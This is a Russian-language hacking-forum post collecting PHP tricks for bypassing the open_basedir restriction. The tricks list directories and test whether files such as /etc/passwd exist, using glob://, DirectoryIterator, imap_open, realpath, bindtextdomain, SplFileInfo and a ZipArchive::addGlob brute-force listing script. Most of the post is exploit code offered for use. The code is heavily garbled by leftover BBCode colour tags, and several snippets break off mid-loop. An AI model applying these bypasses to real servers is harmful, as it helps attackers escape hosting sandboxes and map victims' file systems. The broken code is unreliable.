HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Кухня
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 22.09.2019, 18:58
Baskin-Robbins
Guest
Сообщений: n/a
Провел на форуме:
92829

Репутация: 212
По умолчанию

По мотивам https://rdot.org/forum/showthread.php?t=1043

Старая тема о главном + немного добавим с гугла + тесты на 7 ветке === этот тред.

Вобщем что завелось у меня.

Ну и сразу crlf подсказывает прикрепить ссыль на эту тему, ибо "т.к. имея выполнение команд, байпасс бейсдира не сильно нужен"

Глава первая. Вспомнить всё...

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

finfo_*

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$finfo[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]finfo_open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]FILEINFO_MIME[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc"[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]finfo_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$finfo[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]));[/COLOR][/COLOR
Ругается на опенбэйздир или на отсутствие директории в зависимости от наличия директории.

Тест:

7.0.26

7.3.8-1

----------------------------------------------------------------------------------------------------------------------------------------------------------------

Glob(). Разный результат для отсутствующих и существующих файлов.

----------------------------------------------------------------------------------------------------------------------------------------------------------------

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]glob[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/etc/hosts'[/COLOR][COLOR="#007700"]));
[/
COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]glob[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/etc/does-not-exist'[/COLOR][COLOR="#007700"]));[/COLOR][/COLOR
отсутствует:

array(0){}

присутствует:

bool(false)

Тест:

7.0.26

7.3.8-1

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

opendir()+readdir()+glob://

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

https://bugs.php.net/bug.php?id=73891

Разные ошибки для существующих и отсутствующих директорий.

Если использовать с glob:// то получим листинг.

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$dh[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]opendir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]])) {
while (([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]readdir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dh[/COLOR][COLOR="#007700"])) !==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#DD0000"]\n"[/COLOR][COLOR="#007700"];
}
[/
COLOR][COLOR="#0000BB"]closedir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dh[/COLOR][COLOR="#007700"]);
}
[/
COLOR][/COLOR
Код:
Code:
http://localhost/1.php?dir=glob:///*
DirectoryIterator

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"]= array();
[/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]DirectoryIterator[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"glob:///*"[/COLOR][COLOR="#007700"]);
foreach ([/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]__toString[/COLOR][COLOR="#007700"]();
}

[/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]DirectoryIterator[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"glob:///.*"[/COLOR][COLOR="#007700"]);
foreach ([/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]__toString[/COLOR][COLOR="#007700"]();
}
[/COLOR][COLOR="#0000BB"]sort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"]);
foreach ([/COLOR][COLOR="#0000BB"]$file_list[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]){
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]
"[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR] 
Тест:

7.0.26

7.3.8-1

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Не баг, а фича - функции posix_*

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

http://bugs.php.net/bug.php?id=16733

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/
COLOR][/COLOR
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][/COLOR
Тест:

7.0.26

7.3.8-1

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

imap_open()

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

https://bugs.php.net/bug.php?id=37265

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$string[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'/etc'[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]imap_open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$string[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Снова разница в ошибках.

Тест:

7.3.8-1

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]open_basedir: '[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
open_basedir'[/COLOR][COLOR="#007700"]))
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
open_basedir'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
else
echo[/COLOR][COLOR="#DD0000"]"false\n"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]'
Directory listing of '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
while([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])) "[/COLOR][COLOR="#007700"];

function[/COLOR][COLOR="#0000BB"]check[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]) {
global[/COLOR][COLOR="#0000BB"]$alphabet[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$windows[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'
a'[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]
[/COLOR][/COLOR] 
--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Realpath().

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

http://bugs.php.net/bug.php?id=41492

Тест:

7.0.26

7.3.8-1

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]open_basedir: '[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
open_basedir'[/COLOR][COLOR="#007700"]))
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
open_basedir'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
else
echo[/COLOR][COLOR="#DD0000"]"false\n"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]'
Directory listing of '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
while([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])) "[/COLOR][COLOR="#007700"];

function[/COLOR][COLOR="#0000BB"]check[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]) {
global[/COLOR][COLOR="#0000BB"]$alphabet[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$windows[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'
a'[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]
[/COLOR][/COLOR] 
--------------------------------------------------------------------------------------------------------------------------------------------------------------------

include - разница в ошибках.

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Тест:

7.3.8-1

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$ext[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'
'
[/COLOR][COLOR="#007700"];
}
}

[/
COLOR][COLOR="#0000BB"]set_error_handler[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"eh"[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#DD0000"]'open_basedir = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]'
'
[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]'include_path = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'include_path'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]'
'
[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]'set include_path = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'
'
[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]ini_set[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'include_path'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]'include_path = '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'include_path'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]'
'
[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]= array();
while([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])) [/COLOR][/COLOR
Глава вторая. Окей, гугл!

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Is_dir().

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

https://bugs.php.net/bug.php?id=69240

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/etc/passwd"[/COLOR][COLOR="#007700"]));
[/
COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/etc/passwd2"[/COLOR][COLOR="#007700"]));[/COLOR][/COLOR
Тест:

7.0.26

7.3.8-1

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]open_basedir: '[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
open_basedir'[/COLOR][COLOR="#007700"]))
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
open_basedir'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
else
echo[/COLOR][COLOR="#DD0000"]"false\n"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]'
Directory listing of '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];
while([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]inc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])) "[/COLOR][COLOR="#007700"];

function[/COLOR][COLOR="#0000BB"]check[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]) {
global[/COLOR][COLOR="#0000BB"]$alphabet[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$windows[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'
a'[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][/COLOR] 
--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Bindtextdomain

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Существует:

string(4) "/etc"

Отсутствует:

bool(false)

Тест:

7.0.26

7.3.8-1

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]open_basedir: %s
'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]$re[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]bindtextdomain[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
xxx'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$re[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
--------------------------------------------------------------------------------------------------------------------------------------------------------------------

SplFileInfo + getRealPath

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Аналогично

Существует:

string(4) "/etc"

Отсутствует:

bool(false)

Тест:

7.0.26

7.3.8-1

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]open_basedir: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]ini_get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'open_basedir'[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]'
'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$info[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]SplFileInfo[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'
dir'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$info[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getRealPath[/COLOR][COLOR="#007700"]());
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
Глава третья. Самое вкусное...

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

ZipArchive->addGlob

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Тест:

7.3.8-1

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]addGlob open_basedir bypass, Directory Listing, by BlackFan
# 20.12.11

[/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]stripos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]PHP_OS[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'win'[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]FALSE[/COLOR][COLOR="#007700"])
die([/COLOR][COLOR="#DD0000"]'Windows glob does not support negative character classes'[/COLOR][COLOR="#007700"]);

if
(![/COLOR][COLOR="#0000BB"]class_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ZipArchive'[/COLOR][COLOR="#007700"]))
die([/COLOR][COLOR="#DD0000"]'Class ZipArchive not found'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$starttime[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]microtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/"[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$R[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$regexp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/File\((.*)\) is not within/"[/COLOR][COLOR="#007700"];
if(isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]]))[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]= ((string)[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dir'[/COLOR][COLOR="#007700"]]);
if(isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'R'[/COLOR][COLOR="#007700"]]) and[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'R'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'on'[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]$R[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"].(([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]) ?[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#DD0000"]"open_basedir bypass, Directory Listing, by BlackFan"[/COLOR][COLOR="#007700"];

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]"Directory (absolute path): "[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]" -R "[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$glob_dirs[/COLOR][COLOR="#007700"]= array();
[/
COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"]= array();
[/
COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]= array();
[/
COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$tmp_zip_name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"openbd.zip"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]ZipArchive[/COLOR][COLOR="#007700"]();
[/
COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp_zip_name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ZIPARCHIVE[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]CREATE[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]set_error_handler[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"error_handler"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$patterns_queue[/COLOR][COLOR="#007700"]= array([/COLOR][COLOR="#DD0000"]'*'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'.*'[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$checked_chars[/COLOR][COLOR="#007700"]= array();
[/
COLOR][COLOR="#0000BB"]$count[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
do {
[/
COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addGlob[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]array_shift[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patterns_queue[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"*"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]GLOB_MARK[/COLOR][COLOR="#007700"]);

if
([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$is_dir[/COLOR][COLOR="#007700"]= ([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) ===[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]);
if(([/COLOR][COLOR="#0000BB"]$R[/COLOR][COLOR="#007700"]or ![/COLOR][COLOR="#0000BB"]$is_dir[/COLOR][COLOR="#007700"]) and[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]array_push[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patterns_queue[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'?'[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$is_dir[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]array_push[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$patterns_queue[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'.*'[/COLOR][COLOR="#007700"]);
}
}

[/COLOR][COLOR="#0000BB"]$lenlf[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]);
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]"[/COLOR][COLOR="#007700"];
